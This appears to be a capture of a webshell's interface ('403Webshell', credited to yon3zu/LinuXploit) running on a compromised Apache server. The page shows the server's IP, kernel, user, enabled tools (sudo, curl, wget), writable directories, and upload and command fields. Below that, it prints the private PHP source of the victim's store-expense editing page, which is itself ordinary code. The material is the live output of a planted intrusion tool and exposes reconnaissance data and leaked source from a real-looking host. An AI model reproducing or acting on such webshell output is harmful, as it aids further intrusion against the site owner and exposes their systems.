403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcfs/tabs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcfs/tabs//store_expense_detail.php
<?php
include 'protect.php';
include 'db.php';
require_once __DIR__ . '/brand_header.php';
require_once __DIR__ . '/store_expense_helpers.php';

$expenseId = isset($_REQUEST['expense_id']) ? (int) $_REQUEST['expense_id'] : 0;
$selectedMonth = isset($_REQUEST['month']) ? normalizeExpenseMonth((string) $_REQUEST['month']) : date('Y-m');
$message = '';
$error = '';
$expense = null;

function hExpenseDetail($value)
{
    return htmlspecialchars((string) $value, ENT_QUOTES, 'UTF-8');
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = isset($_POST['action']) ? trim((string) $_POST['action']) : '';

    try {
        if ($action === 'update_expense') {
            $postedExpenseDate = isset($_POST['expense_date']) ? (string) $_POST['expense_date'] : '';
            updateStoreExpense(
                $conn,
                $expenseId,
                $postedExpenseDate,
                isset($_POST['entry_type']) ? (string) $_POST['entry_type'] : 'Store Use',
                isset($_POST['qbo_account']) ? (string) $_POST['qbo_account'] : '',
                isset($_POST['item_description']) ? (string) $_POST['item_description'] : '',
                isset($_POST['quantity']) ? (string) $_POST['quantity'] : '',
                isset($_POST['unit_price']) ? (string) $_POST['unit_price'] : '',
                isset($_POST['notes']) ? (string) $_POST['notes'] : ''
            );
            if (preg_match('/^\d{4}-\d{2}-\d{2}$/', $postedExpenseDate)) {
                $selectedMonth = normalizeExpenseMonth(substr($postedExpenseDate, 0, 7));
            }
            header('Location: store_expenses.php?month=' . urlencode($selectedMonth));
            exit;
        } elseif ($action === 'delete_expense') {
            deleteStoreExpense($conn, $expenseId);
            header('Location: store_expenses.php?month=' . urlencode($selectedMonth));
            exit;
        }
    } catch (Exception $e) {
        $error = $e->getMessage();
    }
}

try {
    $expense = fetchStoreExpenseById($conn, $expenseId);
} catch (Exception $e) {
    $error = $e->getMessage();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Edit Store Expense</title>
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            margin: 0;
            padding: 30px;
            background: #f8fafc;
            color: #1f2937;
        }

        .container {
            max-width: 900px;
            margin: 0 auto;
            background: #fff;
            padding: 28px;
            border-radius: 16px;
            box-shadow: 0 12px 32px rgba(15, 23, 42, 0.08);
        }

        .header-row {
            display: flex;
            justify-content: space-between;
            align-items: flex-end;
            gap: 16px;
            flex-wrap: wrap;
            margin-bottom: 18px;
        }

        .card {
            background: #f8fafc;
            border: 1px solid #e5e7eb;
            border-radius: 16px;
            padding: 20px;
        }

        .form-grid {
            display: grid;
            grid-template-columns: repeat(2, minmax(0, 1fr));
            gap: 16px;
        }

        .full {
            grid-column: 1 / -1;
        }

        label {
            display: block;
            font-weight: 700;
            margin-bottom: 6px;
            color: #475569;
        }

        input, select, textarea {
            width: 100%;
            padding: 10px 12px;
            border: 1px solid #cbd5e1;
            border-radius: 10px;
            font: inherit;
            box-sizing: border-box;
        }

        textarea {
            min-height: 100px;
            resize: vertical;
        }

        .btn {
            display: inline-block;
            padding: 11px 16px;
            background: #1d4ed8;
            color: #fff;
            text-decoration: none;
            border: none;
            border-radius: 10px;
            font-weight: 700;
            cursor: pointer;
            line-height: 1.1;
        }

        .btn-secondary {
            background: #64748b;
        }

        .btn-danger {
            background: #b91c1c;
        }

        .msg {
            margin-bottom: 16px;
            padding: 12px 14px;
            border-radius: 10px;
        }

        .msg.ok {
            background: #ecfdf5;
            border: 1px solid #86efac;
            color: #166534;
        }

        .msg.err {
            background: #fef2f2;
            border: 1px solid #fca5a5;
            color: #991b1b;
        }

        .muted {
            color: #64748b;
            font-size: 0.92rem;
        }

        .summary-line {
            display: flex;
            gap: 18px;
            flex-wrap: wrap;
            margin-top: 14px;
            color: #475569;
            font-weight: 700;
        }

        @media (max-width: 760px) {
            .form-grid {
                grid-template-columns: 1fr;
            }
        }
    </style>
    <?php echo appBrandStyles(); ?>
</head>
<body>
<div class="container">
    <?php renderAppBrandHeader(); ?>

    <div class="header-row">
        <div>
            <h1 style="margin:0;">Edit Store Expense</h1>
            <div class="muted">Update the full expense entry from one clean page.</div>
        </div>
        <div style="display:flex;gap:10px;flex-wrap:wrap;">
            <a class="btn btn-secondary" href="store_expenses.php?month=<?php echo hExpenseDetail(urlencode($selectedMonth)); ?>">Back to Month</a>
            <a class="btn btn-secondary" href="index.php">Back to Dashboard</a>
        </div>
    </div>

    <?php if ($message !== ''): ?>
        <div class="msg ok"><?php echo hExpenseDetail($message); ?></div>
    <?php endif; ?>

    <?php if ($error !== ''): ?>
        <div class="msg err"><?php echo hExpenseDetail($error); ?></div>
    <?php endif; ?>

    <?php if ($expense): ?>
        <div class="card">
            <form method="post">
                <input type="hidden" name="action" value="update_expense">
                <input type="hidden" name="expense_id" value="<?php echo hExpenseDetail((string) $expense['id']); ?>">
                <input type="hidden" name="month" value="<?php echo hExpenseDetail($selectedMonth); ?>">

                <div class="form-grid">
                    <div>
                        <label for="expense_date">Expense Date</label>
                        <input id="expense_date" name="expense_date" type="date" value="<?php echo hExpenseDetail($expense['expense_date']); ?>" required>
                        <div class="muted" style="margin-top:5px;">Changing this can move the entry to a different month.</div>
                    </div>
                    <div>
                        <label for="entry_type">Write-Off Type</label>
                        <select id="entry_type" name="entry_type">
                            <?php $currentEntryType = isset($expense['entry_type']) ? (string) $expense['entry_type'] : 'Store Use'; ?>
                            <?php foreach (storeExpenseEntryTypeOptions() as $entryTypeOption): ?>
                                <option value="<?php echo hExpenseDetail($entryTypeOption); ?>" <?php echo $currentEntryType === $entryTypeOption ? 'selected' : ''; ?>>
                                    <?php echo hExpenseDetail($entryTypeOption); ?>
                                </option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                    <div class="full">
                        <label for="qbo_account">QBO Account / Category</label>
                        <input id="qbo_account" name="qbo_account" type="text" value="<?php echo hExpenseDetail($expense['qbo_account']); ?>" required>
                    </div>
                    <div class="full">
                        <label for="item_description">Item Description</label>
                        <input id="item_description" name="item_description" type="text" value="<?php echo hExpenseDetail($expense['item_description']); ?>" required>
                    </div>
                    <div>
                        <label for="quantity">Quantity</label>
                        <input id="quantity" name="quantity" type="number" step="0.01" min="0.01" value="<?php echo hExpenseDetail(number_format((float) $expense['quantity'], 2, '.', '')); ?>" required>
                    </div>
                    <div>
                        <label for="unit_price">Price</label>
                        <input id="unit_price" name="unit_price" type="number" step="0.01" min="0.00" value="<?php echo hExpenseDetail(number_format((float) $expense['unit_price'], 2, '.', '')); ?>" required>
                    </div>
                    <div class="full">
                        <label for="notes">Notes</label>
                        <textarea id="notes" name="notes" placeholder="Optional notes for this expense"><?php echo hExpenseDetail(isset($expense['notes']) ? $expense['notes'] : ''); ?></textarea>
                    </div>
                </div>

                <div class="summary-line">
                    <div>Total: $<?php echo hExpenseDetail(number_format((float) $expense['line_total'], 2)); ?></div>
                    <div>Created: <?php echo hExpenseDetail(isset($expense['created_at']) ? $expense['created_at'] : ''); ?></div>
                </div>

                <div style="margin-top:20px;display:flex;gap:10px;flex-wrap:wrap;">
                    <button class="btn" type="submit">Save Changes</button>
                    <a class="btn btn-secondary" href="store_expenses.php?month=<?php echo hExpenseDetail(urlencode($selectedMonth)); ?>">Cancel</a>
                </div>
            </form>

            <form method="post" onsubmit="return confirm('Delete this store expense entry?');" style="margin-top:16px;">
                <input type="hidden" name="action" value="delete_expense">
                <input type="hidden" name="expense_id" value="<?php echo hExpenseDetail((string) $expense['id']); ?>">
                <input type="hidden" name="month" value="<?php echo hExpenseDetail($selectedMonth); ?>">
                <button class="btn btn-danger" type="submit">Delete Expense</button>
            </form>
        </div>
    <?php endif; ?>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit